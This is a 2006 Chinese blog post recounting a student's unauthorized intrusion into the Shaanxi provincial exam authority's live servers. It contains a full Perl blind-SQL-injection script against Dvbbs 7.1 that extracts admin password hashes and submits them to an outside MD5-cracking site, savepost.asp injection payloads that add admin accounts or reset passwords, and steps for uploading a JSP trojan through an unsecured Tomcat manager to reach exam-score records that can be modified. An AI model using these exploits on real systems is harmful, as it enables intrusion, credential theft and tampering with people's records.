入侵陕西省考试管理系统

六月飘雪,转眼高考已成为过去。虽然发挥得不错,估分的结果却不是自己理想的分数

同学说如果成绩出来,可以上陕西省考试管理中心的网站查分。于是,我按着准考证上的广告,来到了陕西省考试管理中心的网站:www.sneac.com.

首先大致浏览一下网站,觉得页面还算顺眼(图1),不像多数教育类网站,不但界面简单,安全性也不高,而是由专门的人制作和维护的,但是这样的网站有没有漏洞呢?

1

于是我开始了高三第二学期以来第一次的漏洞检测。

从网站栏目可以看出,管理中心的管辖范围包括了中考、高考、成人自考、英语等级、计算机等级等考试,提供这些考试的查分和咨询功能。网站整体是一个asp写的CMS系统,每个链接由asp文件根据ID传递到相应的静态页面。截取了传递的asp文件地址,加上“,没有发现注入漏洞。这时我还以为注入这样的低级漏洞不会在这里出现,但是不幸的是接下来我发现一个独立的栏目:“06高考网上咨询会”,它实际是一个留言本程序改写来的,存在注入漏洞。根据/zxh06/的地址,我尝试了/zxh05/这个地址,果然进入了去年的废弃的咨询会,一样的程序,一样的漏洞。借助nbsi我发现两个留言本用了两个不同的sql帐户,但权限同样都是DBowner.看来管理员还是具有一定的安全意识的。

不能跨库,于是我把服务器cde盘翻了个遍,却死都找不到网页目录,看来数据库服务器和网页服务器是分离的@_@.尝试执行了几个sql提权指令,却都没有成功,看来数据库服务器已经打上了补丁,只好暂时放弃。已经有点晚了,第二天还要上英语,我只有先去睡觉。

2

第二天晚上,继续开始前一天的工作。继续浏览网站,发现了亲爱的动网论坛(2),版本是Dvbbs 7.1.0 sp1,就是带博客的那个版本,这说明如果运气好至少有两个漏洞(savepost.asp和博客注入)可以利用。但是我不赞成利用savepost.asp漏洞,这样更改后的管理员密码无法恢复,除非是想搞破坏,否则很容易被发现。于是我决定从博客的注入漏洞入手。运行下面这段文本perl脚本,就可以得到相应ID的用户密码MD5


#!/usr/bin/perl

 

#use strict;


use LWP;

use LWP::Simple;

use Thread;

use HTTP::Request::Common;

 

print <<EOF;

 

  Dvbbs 
7.1 boke.asp sqlinject program

  Usage
: dv.pl [url]http://www.xnanyang.com/bbs/boke.asp[/url] admin

  Code 
: [url]Http://hhuai.cn[/url] Huai_Huai

  好像是sunwear贴出来的
!

EOF

 

if($#ARGV<1)

{    

exit;

}

 

$kk=get $ARGV[0]."?".$ARGV[1]."'.index.html";

print $kk;

if($kk=~/博客/)

{

   
print "不存在注入漏洞,程序退出!\n";

   
exit;



 

$kk=get $ARGV[0]."?".$ARGV[1].".index.html";

if($kk=~/博客统计/)

{

   
print "存在漏洞和此用户,开始探测!\n";

}

elsif($kk=~/该博客用户不存在或填写的资料有误/)

{

   
print "没有此用户,程序退出\n";

   
exit;

}

else

{

   
print "不存在注入漏洞,程序退出!\n";

   
exit;

}

 

@dic=('0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f');

 

for($i=1;$i<17;$i++)

{

   
$url[$i]=$ARGV[0]."?".$ARGV[1]."'and'makelove'=mid(password,$i,1)and''='.index.html";

}

 

for($i=1;$i<17;$i++)

   {

   
$thread[$i]=Thread->new(\&crack,$i);

   }

for($i=1;$i<17;$i++)

   {

   
$password.=$thread[$i]->join;

   }

   
print $ARGV[1],"的md5密码为: $password\n";

   

print "开始破解md5密码,请稍候!\n";

my $browser = LWP::UserAgent->new;

my $ua=LWP::UserAgent->new;

$ua->agent('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)');

my $pwd=POST('[url]http://www.mmkey.com/md5/index.asp?action=look[/url]',

       [md5text
=>$password]);

my $response=$ua->request($pwd);

 

if($response->content=~/<input size="32" name="rr2" value="(.+)" >/)

{

print $1,"\n";

}

else

{

print "对不起,查询不到md5密码破解!\n";

}

 

sub crack

{

 

   
my $content;

   
my $num=shift;

   
my $str=$url[$num];

foreach $md5 (@dic) {

   
$url[$num]=~s/makelove/$md5/;

     
$content=get $url[$num];

   
if($content=~/博客统计/)

   {

       
print "第$num位为:$md5\n";

       
return $md5;

       
last;

   }

   
$url[$num]=$str;    

}

}

察看了论坛的管理组发现管理员的IDpersian,于是账户填上persian运行,脚本提示这个论坛存在博客注入漏洞,并开始猜解密码,我出去看世界杯了。回来的时候,已经跑出了密码为******,奇怪,怎么会有这么短的MD5密码?仔细一看,原来是这个脚本的问题,只猜出了密码的其中几位,这是怎么回事?再试一次,有一位和刚才不同。看来这个脚本并不能一次猜出所有位的密码,只有采用最原始的办法,把猜出的部分写下来,然后不断重复执行,幸好有世界杯,才没有觉得很浪费时间。猜到大概二十多次,完整的密码MD5值终于呈现了出来(实际中发现第8位最难猜,最后的十几次猜测都只是为了猜出第8位)。

接下来到www.md5.org.cn 填上得到的md5值,一瞬间就得到了管理员的密码:qazwsx,相比于刚才注入数据库得到的留言本管理员密码(超级变态),这真是一个随意的密码。用管理员的帐号隐身登陆成功,再进入后台时,竟然失败了,看来管理员还是具有一定经验的,她把前后台密码分开了。这下只得用最后的办法:利用savepost.asp漏洞了。

先注册一个帐户,然后选择一个没人注意的板块,写了几句无关痛痒的话,然后选择论坛交易币设置,在可购买名单限制里填上“coolidea|||123’.0);insert/**/into/**/Dv_admin(Password,Username,Adduser.Flag)/**/value(‘469e80d32c0559f8’.’persian’,’1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36’),--”,点发表帖子,再用密码admin888登陆后台,发现居然还是失败。于是再试”coolidea|||123’,0)’update/**/Dv_User/**/set/**/UserPassword=’469 e80d32c0559f8’/**/where[UserName]=’persian’;--”,提交后发现管理员前台密码成功修改为admin888,为什么前台可以修改后台就不行了呢?联想到论坛的upfile目录被禁用,推测出这个论坛应该刚被黑过不久,管理员修改了后台密码字段名。

这下子论坛是没希望了,只得恋恋不舍地关了浏览器去上课。

已经是第三天晚上了,现在基本已经查明sneac.com是由三台web服务器和一台sql2000数据库组成的,三台web服务器互为镜像。一般教育网用户的IP资源是很丰富的,管理中心究竟拥有多少台服务器呢?于是我开始了IP段扫描,得到了几台存活主机,在浏览器里输入其中一个ip,进入了如图3所示的界面:

3

 

可以看出这是一台oracle数据库服务器,莫非这就是传说中存放考分的服务器?继续随便点点,竟然进入了图4的配置界面而没有输入任何密码:

4

 

在网上查查,这应该是oracle web管理的漏洞,但我对oracle几乎一无所知,只能眼睁睁看着一个宽敞的大门摆在面前却不知道哪只脚先进

再试试输入另一个ip,进入了如图5的界面:

5

 

随便写一个用户名返回错误信息,但也显示了这是一个jsp程序。填一个不存在的文件,根据返回的错误信息得到了服务器是tomcat3.1.接下来怎么办?试试运气吧,访问admin虚拟目录,存在!管理员帐户输入admin,密码为空,竟然进入了tomcat的管理界面(图6)!

6

 

大概翻了一下,没什么有用的东西,于是继续访问/manager/html/目录,同样的帐号密码,也进去了!在图7中,我们看到有一个地方可以上传.war文件(用于远程管理tomcat服务的脚本文件),于是我找来了一个jsp木马,用ant打包为war文件(有一个现成的war文件上传执行后自动生成/job虚拟目录,可以在附件里找到),上传执行,立即可以看到虚拟目录列表里多了一个/job目录。

 

7

 

在浏览器输入202.200.14.241/job,就可以看到可爱的木马静静地躺在那里。赶紧翻了翻服务器硬盘,下载了一些内部文件,然后找到了web目录。在/webinfo目录里翻了半天竟然找不到数据库连接路径(我是jsp大菜鸟),当时功夫不负有心人,我在服务器上的一份该系统的使用说明里找到了数据库连接字段,竟然是本机的oracle数据库。从网上找了一个能连oracle的客户端连接202.200.14.241,却总是失败,这说明要么是防火墙做了设置,要么就是找的客户端有问题。但是已经没时间了,第二天还要上课,于是我继续浏览web目录(顺便提一下,这些服务器web程序全用的是西工大开发的一个叫iaa的系统)。在jsp目录里,我发现了AdminList.jsp文件,直接访问,被转到了login.jsp.直接编辑AdminList.jsp文件,发现里面的验证信息被藏在了很隐蔽的header.jsp文件里。删掉<include file=”header.jsp”>一句后再访问AdminList.jsp,屏幕上清楚地显示出了所有的管理员帐户密码,用管理员帐户登陆系统,就进入了“陕西省高考信息交互系统”。仔细地翻了一遍,发现理论上来说可以下载高考成绩,志愿信息,可以修改数据库,但下载的东西却都是空的,这可能是由于当时分数根本没有出来的缘故。

 

用同样的方法访问另一个ip,用同样的方法进入了艺术类考生信息交互系统,可能是艺术类考试比较早的缘故,里面已经可以下载所有考生的成绩,并且可以直接修改。但是既然一开始就抱定决不改分的信念,我毅然关闭了浏览器。

实际中发现,陕西省考试管理中心的几个信息交互系统配置都为windows2000+tomcat+apache+oracle,但是这几个oracle是怎么做到数据统一的呢?还请高人来解答。

后记:

隔了几天,我又开始了对sneac.com的第二轮检测。这次,我在网站的一个角落里发现了注入点,但猜解的结果却让人大失所望:管理员密码采用了30CFS加密!CFS密码目前还不能破解,只有拿本字典慢慢猜解。从总体来看,陕西省考试管理中心的网站还是比较安全的,估计这也是无数前人千锤百炼的结果。

小结:高考分数就可以决定一个人的一生,如果分数可以修改,会变成什么样子?不过这段时间考试中心的工作人员还是十分辛苦和负责的。举个例子,有一次晚上2点多我访问一个服务器的/admin目录,刚进去不到一分钟,/admin目录就被删了,这件事让我对考试中心的叔叔阿姨们充满了敬佩之情,也因此我决定把这次入侵过程写出来,以供他们参考。截至目前,我上传的木马已经全被删除,所有的服务器/admin/manager/html/目录也已经全被删除,论坛账户也已经被删除,这说明了经常看访问日志是件多么重要的事。

 

全文完 转载请注明来自poy.cn

附件:job.rar

posted on 2006-08-06 18:32  hyouhaku  阅读(1216)  评论(5编辑  收藏  举报

导航